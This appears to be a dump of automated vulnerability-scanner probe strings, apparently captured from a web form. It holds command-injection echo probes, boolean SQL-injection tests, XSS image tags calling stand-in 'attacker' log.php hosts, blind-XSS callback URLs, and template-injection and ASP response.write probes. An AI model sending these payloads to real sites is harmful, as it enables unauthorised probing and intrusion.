&echo kfwrhy$()\ mspjrs\nz^xyu||a #’ &echo kfwrhy$()\ mspjrs\nz^xyu||a #|” &echo kfwrhy$()\ mspjrs\nz^xyu||a #
555|echo ngoodw$()\ rqupba\nz^xyu||a #’ |echo ngoodw$()\ rqupba\nz^xyu||a #|” |echo ngoodw$()\ rqupba\nz^xyu||a #
555xwtnvh2e
555*395*390*0
555*552*547*0
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
bxss.me
555
555
555
555
555
555
555
5559662665
bfg7273<s1﹥s2ʺs3ʹhjl7273
555HYLQU[!+!]
555}body{zzz:Expre/**/SSion(QnpR(9602))}
555<img sRc='http://attacker-9243/log.php?
555
555
bxss.me/t/xss.html?%00
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555NqSx8rUM
555
555+443-438-5
555*925*920*0
555+699-694-5
555+775-770-5
555*865*860*0
555*708*703*0
555+713-708-5
555*679*674*0
555*128*123*0
555+133-128-5
555%2527%2522\’\”
555
555
555
555
555
555%2527%2522\’\”
555
5559365345
bfg2903<s1﹥s2ʺs3ʹhjl2903
bfgx9878z1z2abcxhjl9878
555N3EUZ[!+!]
555}body{zzz:Expre/**/SSion(kGE4(9455))}
555ZIP0G[!+!]
555<img sRc='http://attacker-9185/log.php?
555<arOAZKN<
555
555
555
555
555
bxss.me/t/xss.html?%00
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
echo olvbxw$()\ sumrkk\nz^xyu||a #’ &echo olvbxw$()\ sumrkk\nz^xyu||a #|” &echo olvbxw$()\ sumrkk\nz^xyu||a #
555&echo rufikq$()\ mradlm\nz^xyu||a #’ &echo rufikq$()\ mradlm\nz^xyu||a #|” &echo rufikq$()\ mradlm\nz^xyu||a #
555
555
555fJRs06aZ
555*1
555+505-500-5
555*772*767*0
555′”
555%2527%2522\’\”
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
5559637734
bxss.me
555|echo rxydvy$()\ cfjgtt\nz^xyu||a #’ |echo rxydvy$()\ cfjgtt\nz^xyu||a #|” |echo rxydvy$()\ cfjgtt\nz^xyu||a #
bfg9119<s1﹥s2ʺs3ʹhjl9119
bfgx1213z1z2abcxhjl1213
<th:t="${dfb}#foreach
555U5trocMZ
1}}”}}’}}1%>”%>’%>
555*1
555*989*984*0
555+994-989-5
5555QKCB[!+!]
555*652*647*0
555′”
@@sUKOM
555}body{zzz:Expre/**/SSion(vZqo(9396))}
555EQ3QS[!+!]
555<img sRc='http://attacker-9787/log.php?
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555
555bjY52MIs
555
555+223-218-5
555*578*573*0
555*16*11*0
555*365*360*0
555
555
555
555
555
555
5559920682
bfg3931<s1﹥s2ʺs3ʹhjl3931
bfgx7593z1z2abcxhjl7593
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555PUFQ2[!+!]
555}body{zzz:Expre/**/SSion(MtZZ(9491))}
555WCYHD[!+!]
555<img sRc='http://attacker-9410/log.php?
555
bxss.me/t/xss.html?%00
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
5559489479
bfg4611<s1﹥s2ʺs3ʹhjl4611
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555K324V[!+!]
555
555
555MHmBnnBZ
555*732*727*0
555
555+152-147-5
555+832-827-5
555*145*140*0
555}body{zzz:Expre/**/SSion(BARm(9824))}
555ZDIV2[!+!]
555<img sRc='http://attacker-9353/log.php?
555
555%2527%2522\’\”
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
555
555
555
555
555yAW3PmpG
555*1
555+781-776-5
555+620-615-5
555
555
555
555
5559035858
bfgx6003z1z2abcxhjl6003
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
55571EEH[!+!]
555}body{zzz:Expre/**/SSion(j6mV(9683))}
555
555′”
555
555
555
555
echo ljgkkd$()\ lleyfc\nz^xyu||a #’ &echo ljgkkd$()\ lleyfc\nz^xyu||a #|” &echo ljgkkd$()\ lleyfc\nz^xyu||a #
555&echo jkazav$()\ whbxnp\nz^xyu||a #’ &echo jkazav$()\ whbxnp\nz^xyu||a #|” &echo jkazav$()\ whbxnp\nz^xyu||a #
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555|echo badwyi$()\ owtznu\nz^xyu||a #’ |echo badwyi$()\ owtznu\nz^xyu||a #|” |echo badwyi$()\ owtznu\nz^xyu||a #
555
http://bxss.me/t/xss.html?%00
555
555
555
555
555VYwwn0iv
555*652*647*0
555+657-652-5
555*500*495*0
555+505-500-5
555
555+344-339-5
555*192*187*0
-1 OR 2+97-97-1=0+0+0+1
-1 OR 3*2<(0+5+97-97)
555
555
555
555
555
555
555
5559767205
bfg2437<s1﹥s2ʺs3ʹhjl2437
555%2527%2522\’\”
555BUEKR[!+!]
555
555}body{zzz:Expre/**/SSion(jLBk(9695))}
555YJQUM[!+!]
555<img sRc='http://attacker-9884/log.php?
555<aBcwXGQ<
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
http://bxss.me/t/fit.txt
555&echo nhumdw$()\ yqvmit\nz^xyu||a #’ &echo nhumdw$()\ yqvmit\nz^xyu||a #|” &echo nhumdw$()\ yqvmit\nz^xyu||a #
555
555|echo tufjxl$()\ ciujjf\nz^xyu||a #’ |echo tufjxl$()\ ciujjf\nz^xyu||a #|” |echo tufjxl$()\ ciujjf\nz^xyu||a #
555
555
http://bxss.me/t/xss.html?%00
555
555
555
555
555
555*891*886*0
555+896-891-5
555*728*723*0
555*548*543*0
555+553-548-5
555*597*592*0
555+602-597-5
-1 OR 2+119-119-1=0+0+0+1
-1 OR 3+119-119-1=0+0+0+1
555
555
555
555
555
555
5559743109
bfg7847<s1﹥s2ʺs3ʹhjl7847
bfgx1762z1z2abcxhjl1762
@@tgq86
555W6TIS[!+!]
555
555}body{zzz:Expre/**/SSion(WS4f(9427))}
555ISSEP[!+!]
555<img sRc='http://attacker-9198/log.php?
555<aGwdAAT<
555
555
555
555
555
555
555OGPZx7LI
555*334*329*0
555
555*627*622*0
555*841*836*0
555*903*898*0
555
555
555
555
555
555
555
555
5559478688
bfg9179<s1﹥s2ʺs3ʹhjl9179
555M7NC2[!+!]
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555
555
555xOJ9sEF7
555*1
555+395-390-5
-1 OR 3+962-962-1=0+0+0+1
555
555
555
555
555
555
5559684743
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555′”
555}body{zzz:Expre/**/SSion(AjFl(9841))}
555EZLPX[!+!]
555
555
echo lccykv$()\ utbqyp\nz^xyu||a #’ &echo lccykv$()\ utbqyp\nz^xyu||a #|” &echo lccykv$()\ utbqyp\nz^xyu||a #
bxss.me
555
555
555mGKzdZSa
555*1
555*167*162*0
555
555′”
555
555
555
555
555
555
555tqT88Onn
555*1
555*172*167*0
555′”
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
bxss.me/t/xss.html?%00
555
555
555
555
555
555
555
555
555
555
5559210022
bfgx7881z1z2abcxhjl7881
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(4q3T(9723))}
555<aPTEePk<
555
555
555
555
bxss.me/t/xss.html?%00
bxss.me
555
555
555WOtv2LTl
555*133*128*0
555+138-133-5
555*948*943*0
555+953-948-5
555*691*686*0
555+696-691-5
555*677*672*0
555
555
555%2527%2522\’\”
555
555
555
555
555
555
5559151197
bfg6827<s1﹥s2ʺs3ʹhjl6827
<th:t="${dfb}#foreach
555NCJ4Q[!+!]
555}body{zzz:Expre/**/SSion(sSTA(9032))}
555BBE9P[!+!]
555<img sRc='http://attacker-9653/log.php?
555<avbc036<
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555yahGYupc
555*612*607*0
555*205*200*0
555*593*588*0
555
555*65*60*0
555
555
555
555
5559588253
bfg9286<s1﹥s2ʺs3ʹhjl9286
555%2527%2522\’\”
@@4XyR9
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
5557TFGM[!+!]
555}body{zzz:Expre/**/SSion(wd5Y(9437))}
555MLOI7[!+!]
555
555<aogQFAx<
555
555
555
555
555
555
555
555*283*278*0
555*81*76*0
555*198*193*0
555
555
555
555
555
555
5559796312
bfg6267<s1﹥s2ʺs3ʹhjl6267
<th:t="${dfb}#foreach
555DEMPO[!+!]
555}body{zzz:Expre/**/SSion(2cK2(9389))}
555W79SX[!+!]
555<img sRc='http://attacker-9234/log.php?
555<aqgzw5c<
555
555
555
555
555DX0xokju
555*867*862*0
555*97*92*0
555+102-97-5
555*755*750*0
555+760-755-5
555
555*793*788*0
@@56Kvk
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555
555
555
555OoRv5EVg
555*138*133*0
555*849*844*0
555*417*412*0
555*583*578*0
555
555
555
555
555
5559106857
bfg8805<s1﹥s2ʺs3ʹhjl8805
bfgx3100z1z2abcxhjl3100
555ZE8VZ[!+!]
@@j5ou5
555}body{zzz:Expre/**/SSion(wsrW(9249))}
555FXZAE[!+!]
555<img sRc='http://attacker-9811/log.php?
555<aiVdmS0<
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555
555
555SMC4jb0g
555*189*184*0
555+194-189-5
555*513*508*0
555+518-513-5
555*291*286*0
555+296-291-5
555*811*806*0
555
555
555
@@LtCEg
555
555
555
555
5559906372
bfg10824<s1﹥s2ʺs3ʹhjl10824
bfgx2379z1z2abcxhjl2379
555JEPKY[!+!]
555}body{zzz:Expre/**/SSion(Kqpq(9610))}
555GAOLS[!+!]
555<img sRc='http://attacker-9148/log.php?
555<aCGnjUX<
555
555
555
5559903663
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555WNI4O[!+!]
555
555XfVMeoZ1
555*788*783*0
555*688*683*0
555+693-688-5
555*194*189*0
555*327*322*0
555<img sRc='http://attacker-9079/log.php?
555<aOCh5Bh<
555
555%2527%2522\’\”
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
555
555
555L7lmKbJg
555
555*167*162*0
555*118*113*0
555+752-747-5
555+731-726-5
555
555
555
555
5559627036
bfg3414<s1﹥s2ʺs3ʹhjl3414
1}}”}}’}}1%>”%>’%>
555HO8PK[!+!]
555}body{zzz:Expre/**/SSion(P7ty(9810))}
@@0TjsR
555<aOb3Evz<
555
555
555
555
555
555
555
http://bxss.me/t/xss.html?%00
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
echo ailykf$()\ cemtxv\nz^xyu||a #’ &echo ailykf$()\ cemtxv\nz^xyu||a #|” &echo ailykf$()\ cemtxv\nz^xyu||a #
&echo lnhynk$()\ qygsin\nz^xyu||a #’ &echo lnhynk$()\ qygsin\nz^xyu||a #|” &echo lnhynk$()\ qygsin\nz^xyu||a #
bxss.me
555CUh8kQsa
|echo obdvvj$()\ blcuwy\nz^xyu||a #’ |echo obdvvj$()\ blcuwy\nz^xyu||a #|” |echo obdvvj$()\ blcuwy\nz^xyu||a #
555|echo hxbyns$()\ xbczxd\nz^xyu||a #’ |echo hxbyns$()\ xbczxd\nz^xyu||a #|” |echo hxbyns$()\ xbczxd\nz^xyu||a #
555
555*1
555*426*421*0
555+431-426-5
555*455*450*0
555+460-455-5
555*578*573*0
555+583-578-5
-1 OR 3+277-277-1=0+0+0+1
-1 OR 3*2<(0+5+277-277)
-1 OR 3*2>(0+5+277-277)
555′”
555%2527%2522\’\”
@@lh4nE
555
555
555
http://bxss.me/t/xss.html?%00
bxss.me/t/xss.html?%00
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
http://bxss.me/t/fit.txt
echo ssxosy$()\ jjlrjd\nz^xyu||a #’ &echo ssxosy$()\ jjlrjd\nz^xyu||a #|” &echo ssxosy$()\ jjlrjd\nz^xyu||a #
555&echo mgcxlf$()\ cmukbo\nz^xyu||a #’ &echo mgcxlf$()\ cmukbo\nz^xyu||a #|” &echo mgcxlf$()\ cmukbo\nz^xyu||a #
555
|echo rtixwk$()\ pkcdgc\nz^xyu||a #’ |echo rtixwk$()\ pkcdgc\nz^xyu||a #|” |echo rtixwk$()\ pkcdgc\nz^xyu||a #
555
555
555
555
555
555Y5XqsGZI
555*1
555*368*363*0
555+788-783-5
555
555+84-79-5
-1 OR 2+798-798-1=0+0+0+1
-1 OR 3+798-798-1=0+0+0+1
555
555
555
555
555
5559157137
bfg6946<s1﹥s2ʺs3ʹhjl6946
bfgx4527z1z2abcxhjl4527
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555I3PCY[!+!]
555′”
@@IaiRZ
555}body{zzz:Expre/**/SSion(p1Dd(9482))}
555IDHJU[!+!]
555<img sRc='http://attacker-9565/log.php?
555<ahFvGDw<
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
bxss.me/t/xss.html?%00
555
555
5559010124
bfg2051<s1﹥s2ʺs3ʹhjl2051
bfgx7564z1z2abcxhjl7564
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
555*1
555*928*923*0
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555AVXWS[!+!]
555+372-367-5
555}body{zzz:Expre/**/SSion(JlKO(9894))}
555SXJHK[!+!]
555<img sRc='http://attacker-9908/log.php?
555
555′”
555%2527%2522\’\”
@@wCvI8
555
555
555
bxss.me/t/xss.html?%00
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
bxss.me
555
555
555Pdh0WL5c
555*390*385*0
555+395-390-5
555+755-750-5
555*52*47*0
555*160*155*0
555
555
555
555
@@2WgIx
555
555
555
555
5559948495
bfg4371<s1﹥s2ʺs3ʹhjl4371
5557XJEB[!+!]
555}body{zzz:Expre/**/SSion(trFU(9435))}
5555UATS[!+!]
555<img sRc='http://attacker-9407/log.php?
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555
555WYhwd6jD
555*453*448*0
555+458-453-5
555*418*413*0
555*951*946*0
555*135*130*0
555
555
555
555
555
555
555
555%2527%2522\’\”
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
555
bxss.me/t/xss.html?%00
555
5556xkwvdu9
555*209*204*0
555*859*854*0
555*764*759*0
555+638-633-5
555
555
555
555
555
555
5559013202
bfg4555<s1﹥s2ʺs3ʹhjl4555
<th:t="${dfb}#foreach
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(aLpb(9903))}
555DCHVR[!+!]
555<img sRc='http://attacker-9804/log.php?
555
555
555
555
echo fmgqaa$()\ pnaagn\nz^xyu||a #’ &echo fmgqaa$()\ pnaagn\nz^xyu||a #|” &echo fmgqaa$()\ pnaagn\nz^xyu||a #
555&echo tggnqe$()\ wukyfk\nz^xyu||a #’ &echo tggnqe$()\ wukyfk\nz^xyu||a #|” &echo tggnqe$()\ wukyfk\nz^xyu||a #
555
555
555
555
555t0b59h91
555
555*701*696*0
555*893*888*0
555
555+133-128-5
555*66*61*0
-1 OR 2+961-961-1=0+0+0+1
-1 OR 3*2>(0+5+961-961)
555
-1 OR 2+1-1+1=1 AND 961=961
5559356234
http://bxss.me/t/xss.html?%00
http://bxss.me/t/fit.txt
555
555&echo uoyyyp$()\ jtdnkx\nz^xyu||a #’ &echo uoyyyp$()\ jtdnkx\nz^xyu||a #|” &echo uoyyyp$()\ jtdnkx\nz^xyu||a #
555|echo bootqw$()\ qojkgt\nz^xyu||a #’ |echo bootqw$()\ qojkgt\nz^xyu||a #|” |echo bootqw$()\ qojkgt\nz^xyu||a #
5554OXR1[!+!]
555}body{zzz:Expre/**/SSion(VTXt(9212))}
5558OJEM[!+!]
555<img sRc='http://attacker-9375/log.php?
555<a53NRrb<
555
555
@@xd0bF
555snWZMSR0
555*31*26*0
555+36-31-5
555*549*544*0
555*422*417*0
555+427-422-5
555*61*56*0
-1 OR 2+27-27-1=0+0+0+1
-1 OR 3*2<(0+5+27-27)
@@EjXAX
555
555
555
555
555zVCwpDmC
555*267*262*0
555*791*786*0
555*409*404*0
555+414-409-5
555
555
555
555
555
555
555
555
555
555
555
5559074405
bfg8918<s1﹥s2ʺs3ʹhjl8918
bfgx8510z1z2abcxhjl8510
555%2527%2522\’\”
555KCGNS[!+!]
555}body{zzz:Expre/**/SSion(5hux(9819))}
555055NP[!+!]
555<img sRc='http://attacker-9044/log.php?
555
555
555
http://bxss.me/t/xss.html?%00
555
555
555
555
555
echo vwsnhw$()\ enydur\nz^xyu||a #’ &echo vwsnhw$()\ enydur\nz^xyu||a #|” &echo vwsnhw$()\ enydur\nz^xyu||a #
&echo utujnx$()\ uymdcj\nz^xyu||a #’ &echo utujnx$()\ uymdcj\nz^xyu||a #|” &echo utujnx$()\ uymdcj\nz^xyu||a #
bxss.me
555&echo leiehc$()\ oisuji\nz^xyu||a #’ &echo leiehc$()\ oisuji\nz^xyu||a #|” &echo leiehc$()\ oisuji\nz^xyu||a #
|echo ufnucu$()\ nahzyz\nz^xyu||a #’ |echo ufnucu$()\ nahzyz\nz^xyu||a #|” |echo ufnucu$()\ nahzyz\nz^xyu||a #
555|echo qixrmo$()\ kpgren\nz^xyu||a #’ |echo qixrmo$()\ kpgren\nz^xyu||a #|” |echo qixrmo$()\ kpgren\nz^xyu||a #
555
555
555k9WOraRU
555*941*936*0
555*39*34*0
555
555+727-722-5
555*479*474*0
-1 OR 2+288-288-1=0+0+0+1
-1 OR 3*2<(0+5+288-288)
555
555
555
555
555
555
555
5559498242
bfg5724<s1﹥s2ʺs3ʹhjl5724
bfgx8805z1z2abcxhjl8805
555DE6G1[!+!]
555}body{zzz:Expre/**/SSion(FVr2(9107))}
555JOSXT[!+!]
555<img sRc='http://attacker-9703/log.php?
555<aPTwgBn<
555
555
echo rknxfr$()\ kyrlzg\nz^xyu||a #’ &echo rknxfr$()\ kyrlzg\nz^xyu||a #|” &echo rknxfr$()\ kyrlzg\nz^xyu||a #
555
&echo fmwezz$()\ wdgbhk\nz^xyu||a #’ &echo fmwezz$()\ wdgbhk\nz^xyu||a #|” &echo fmwezz$()\ wdgbhk\nz^xyu||a #
555&echo aqpnch$()\ jvjjgc\nz^xyu||a #’ &echo aqpnch$()\ jvjjgc\nz^xyu||a #|” &echo aqpnch$()\ jvjjgc\nz^xyu||a #
555
555|echo zblwlc$()\ wcohzu\nz^xyu||a #’ |echo zblwlc$()\ wcohzu\nz^xyu||a #|” |echo zblwlc$()\ wcohzu\nz^xyu||a #
http://bxss.me/t/xss.html?%00
555qm6hKjc1
http://bxss.me/t/fit.txt
555
555+970-965-5
555*824*819*0
555+829-824-5
555*506*501*0
555
555+511-506-5
555*816*811*0
-1 OR 2+705-705-1=0+0+0+1
-1 OR 3+705-705-1=0+0+0+1
555
555
555
555
555
555
555
555
555
555
5559096662
bfg9806<s1﹥s2ʺs3ʹhjl9806
bfgx7949z1z2abcxhjl7949
555JNSY2[!+!]
555}body{zzz:Expre/**/SSion(Ze1e(9702))}
555GX8W9[!+!]
555<img sRc='http://attacker-9963/log.php?
555<aTLRGpS<
555
555
555
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
bxss.me/t/xss.html?%00
555
555
555
555
555
555ALHUGVF2
555
555*663*658*0
555+668-663-5
555*817*812*0
555+822-817-5
555*263*258*0
555*753*748*0
555
555
555
555
555
555
5559873346
bfg9141<s1﹥s2ʺs3ʹhjl9141
bfgx2403z1z2abcxhjl2403
<th:t="${dfb}#foreach
555OQABV[!+!]
555}body{zzz:Expre/**/SSion(0mNF(9235))}
555NIYDQ[!+!]
@@Ed2NU
555
555
555
555
555jYCmUbQU
555*15*10*0
555*49*44*0
555/1
555*752*747*0
5559379922
555*784*779*0
555
@@TeVWP
555
555
555
555
555
555
555
555*160*155*0
555+165-160-5
555*810*805*0
555+815-810-5
555*765*760*0
555*793*788*0
555
555
555
555
555
555
5559140325
bfg2167<s1﹥s2ʺs3ʹhjl2167
bfgx9934z1z2abcxhjl9934
555
555
555
5553a5qSUua
555*343*338*0
555+348-343-5
555
555*298*293*0
555*49*44*0
555
555
555
@@lBSJ3
555
555
555
555
5559187992
bfg1077<s1﹥s2ʺs3ʹhjl1077
bfgx1147z1z2abcxhjl1147
555VYFTG[!+!]
555}body{zzz:Expre/**/SSion(bVfl(9969))}
555RQ2CS[!+!]
555<img sRc='http://attacker-9572/log.php?
555
555
555
555
555
555
555
555
555
555
555
555*175*170*0
555+180-175-5
555*297*292*0
555*807*802*0
555+812-807-5
555*437*432*0
555
555
555
5559094757
bfg6740<s1﹥s2ʺs3ʹhjl6740
bfgx6564z1z2abcxhjl6564
555VTLSR[!+!]
555}body{zzz:Expre/**/SSion(YcJm(9690))}
555URD7G[!+!]
555<img sRc='http://attacker-9088/log.php?
555<aszDXiw<
555
555
555
555
55570GQNqo9
555*929*924*0
555*197*192*0
555+202-197-5
555*725*720*0
555*309*304*0
555
555
@@bJBAs
555
555
555
555
555
555
555
555
555
5559826742
bfg9975<s1﹥s2ʺs3ʹhjl9975
bfgx6689z1z2abcxhjl6689
555EJCDO[!+!]
555}body{zzz:Expre/**/SSion(DfI4(9853))}
555DBRIO[!+!]
555<img sRc='http://attacker-9191/log.php?
555<ayJW0oO<
555
555
555
555
555
555
555edyWMtXC
555*689*684*0
555+694-689-5
555*899*894*0
555*279*274*0
555+284-279-5
555*104*99*0
555+109-104-5
555
555
@@em41F
555
555
555
555
5559589030
bfg3243<s1﹥s2ʺs3ʹhjl3243
bfgx8805z1z2abcxhjl8805
555QTSRQ[!+!]
555}body{zzz:Expre/**/SSion(L1ZI(9842))}
555EGIQM[!+!]
555<img sRc='http://attacker-9813/log.php?
555<aqI8Jws<
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
|echo esdpns$()\ ppmiqh\nz^xyu||a #’ |echo esdpns$()\ ppmiqh\nz^xyu||a #|” |echo esdpns$()\ ppmiqh\nz^xyu||a #
5559566967
555
bfgx6289z1z2abcxhjl6289
555TgV5HnvW
555*992*987*0
1}}”}}’}}1%>”%>’%>
555+704-699-5
555*266*261*0
555+831-826-5
555D1WW6[!+!]
555′”
@@WPRfU
555}body{zzz:Expre/**/SSion(40Mi(9869))}
555EM7GQ[!+!]
555<img sRc='http://attacker-9965/log.php?
555<aQ3Ix21<
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
echo oxwnem$()\ ccootu\nz^xyu||a #’ &echo oxwnem$()\ ccootu\nz^xyu||a #|” &echo oxwnem$()\ ccootu\nz^xyu||a #
&echo amkvfr$()\ gowwxl\nz^xyu||a #’ &echo amkvfr$()\ gowwxl\nz^xyu||a #|” &echo amkvfr$()\ gowwxl\nz^xyu||a #
555&echo zucrrf$()\ xicdnt\nz^xyu||a #’ &echo zucrrf$()\ xicdnt\nz^xyu||a #|” &echo zucrrf$()\ xicdnt\nz^xyu||a #
5559599251
bfg5842<s1﹥s2ʺs3ʹhjl5842
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555}body{zzz:Expre/**/SSion(oK4i(9713))}
555GDHWN[!+!]
555iQlBCNur
555<ak2piKm<
555*49*44*0
555*811*806*0
555+816-811-5
555*843*838*0
555
555+440-435-5
555%2527%2522\’\”
555
555
echo hwoqpd$()\ pcysuy\nz^xyu||a #’ &echo hwoqpd$()\ pcysuy\nz^xyu||a #|” &echo hwoqpd$()\ pcysuy\nz^xyu||a #
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
bxss.me
555
555
555
555
555
555Rvr0lTyF
555*1
555+479-474-5
555+658-653-5
555*963*958*0
555
555
555
555
555
555
5559145807
bfg7329<s1﹥s2ʺs3ʹhjl7329
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555NOLNH[!+!]
555}body{zzz:Expre/**/SSion(Pho2(9503))}
555VVXT1[!+!]
555<img sRc='http://attacker-9829/log.php?
555
555′”
555
555
555
555
‘+response.write(9045358*9411998)+’
“+response.write(9045358*9411998)+”
555
O2MJeBt9
555
^(#$!@#$)(()))******
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
555
555
555m7z45jxA
bxss.me
bxss.me/t/xss.html?%00
555*1
555*800*795*0
555
555
‘”
<!–
555
555′”
555%2527%2522\’\”
@@fbDux
555
555
555
555
555
555
555
555
555
555
555
5559117981
bfg10141<s1﹥s2ʺs3ʹhjl10141
bfgx10934z1z2abcxhjl10934
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
555
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555CC1L8[!+!]
555}body{zzz:Expre/**/SSion(0Jxi(9414))}
555MRGOL[!+!]
555<img sRc='http://attacker-9288/log.php?
555<azN57CJ<
555
555
555
555
555
response.write(9176845*9066899)
“+response.write(9176845*9066899)+”
555
555
Ct3FUpWc
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
../555
bxss.me
555*1
555*638*633*0
555
)
!(()&&!|*|*|
555*341*336*0
^(#$!@#$)(()))******
555
bxss.me/t/xss.html?%00
‘”
<!–
555′”
555%2527%2522\’\”
@@XOzmG
555
555
555
555
555
555
555
555
555
555
555
555
5559506899
bfg3900<s1﹥s2ʺs3ʹhjl3900
bfgx10415z1z2abcxhjl10415
<th:t="${dfb}#foreach
1}}”}}’}}1%>”%>’%>
“dfbzzzzzzzzbbbccccdddeeexca”.replace(“z”,”o”)
555RS7NL[!+!]
555}body{zzz:Expre/**/SSion(EkOi(9865))}
555BAJMK[!+!]
555<img sRc='http://attacker-9110/log.php?
555<asHXS1v<
555
555
555
tkDF6Lhg
555
555
)
^(#$!@#$)(()))******
../555
./555
555
555
555
555
555*987*982*0
555*552*547*0
555+557-552-5
555*368*363*0
555+373-368-5
555*818*813*0
555+823-818-5
555
555
555
@@dvCnn
555
555
555
555
555
555
5559477809
bfg2691<s1﹥s2ʺs3ʹhjl2691
bfgx8837z1z2abcxhjl8837
555XBW6O[!+!]
555}body{zzz:Expre/**/SSion(RN0d(9778))}
5554NXZG[!+!]
555<img sRc='http://attacker-9163/log.php?
555<aahQgMe<
555
555
555
555
555
“+response.write(9378202*9747040)+”
555
PX6Z6HWL
555
555*861*856*0
555*701*696*0
555*148*143*0
555*133*128*0
555+138-133-5
@@znnrE
555
555
)
555
bxss.me/t/xss.html?%00
‘”
555
<!–
555
555
555
555
555
555
555
555
555
555
5559148231
bfg4370<s1﹥s2ʺs3ʹhjl4370
555S8JDQ[!+!]
555}body{zzz:Expre/**/SSion(pcCG(9879))}
555OIZE5[!+!]
555<img sRc='http://attacker-9021/log.php?
555<amIysGD<
555
555
555
555
555
555
555
555
‘+response.write(9711968*9126441)+’
555*194*189*0
555*815*810*0
555*597*592*0
555
PFjOrlbf
555
)
!(()&&!|*|*|
../555
@@hzL6w
bxss.me/t/xss.html?%00
‘”
<!–
5559172594
bfg10485<s1﹥s2ʺs3ʹhjl10485
bfgx10313z1z2abcxhjl10313
555VNCEC[!+!]
555}body{zzz:Expre/**/SSion(GtbM(9064))}
555II9ZR[!+!]
555<img sRc='http://attacker-9505/log.php?
555<aFTXUlN<
555
555
555
1clRrq8YO
555
555
555
555
555
555
555
555
555
555
555
555
5559992447
555
bfg4879<s1﹥s2ʺs3ʹhjl4879
bfgx2679z1z2abcxhjl2679
5559080213
bfg2187<s1﹥s2ʺs3ʹhjl2187
bfgx2647z1z2abcxhjl2647
555YDUWH[!+!]
555TOPJN[!+!]
555}body{zzz:Expre/**/SSion(LF5a(9764))}
555U6FJX[!+!]
555B6SUY[!+!]
555<img sRc='http://attacker-9805/log.php?
555<aarLEtQ<
555<img sRc='http://attacker-9771/log.php?
555<av7vgty<
555
555
5559309336
bfg7982<s1﹥s2ʺs3ʹhjl7982
bfgx4286z1z2abcxhjl4286
5551KCAB[!+!]
555}body{zzz:Expre/**/SSion(e5aK(9785))}
55565A9Z[!+!]
